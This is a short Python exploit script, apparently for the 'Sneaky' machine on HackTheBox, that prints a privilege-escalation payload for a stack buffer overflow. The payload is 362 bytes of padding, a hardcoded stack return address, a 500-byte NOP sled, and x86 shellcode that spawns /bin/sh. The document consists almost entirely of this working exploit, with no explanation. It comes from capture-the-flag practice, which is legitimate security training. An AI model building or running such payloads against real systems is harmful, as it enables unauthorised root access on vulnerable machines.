Sneaky box priv_esc XPL (ret2stack+nopsled+shellcode) @ hackthebox.eu

sneaky_priv_esc_xpl.py

#!/usr/bin/python
## Sneaky box priv_esc XPL (ret2stack+nopsled+shellcode) @ hackthebox.eu
# @author intrd - http://dann.com.br/ 

import struct

exploit = "A"*362
#exploit += struct.pack("I",0xffffd638+10) #topstack local
#exploit += "\xCC"*4
exploit += struct.pack("I",0xbffff6e8+10) #topstack remote
exploit += "\x90"*500
#exploit += "\xCC"*4
exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" #x86

print exploit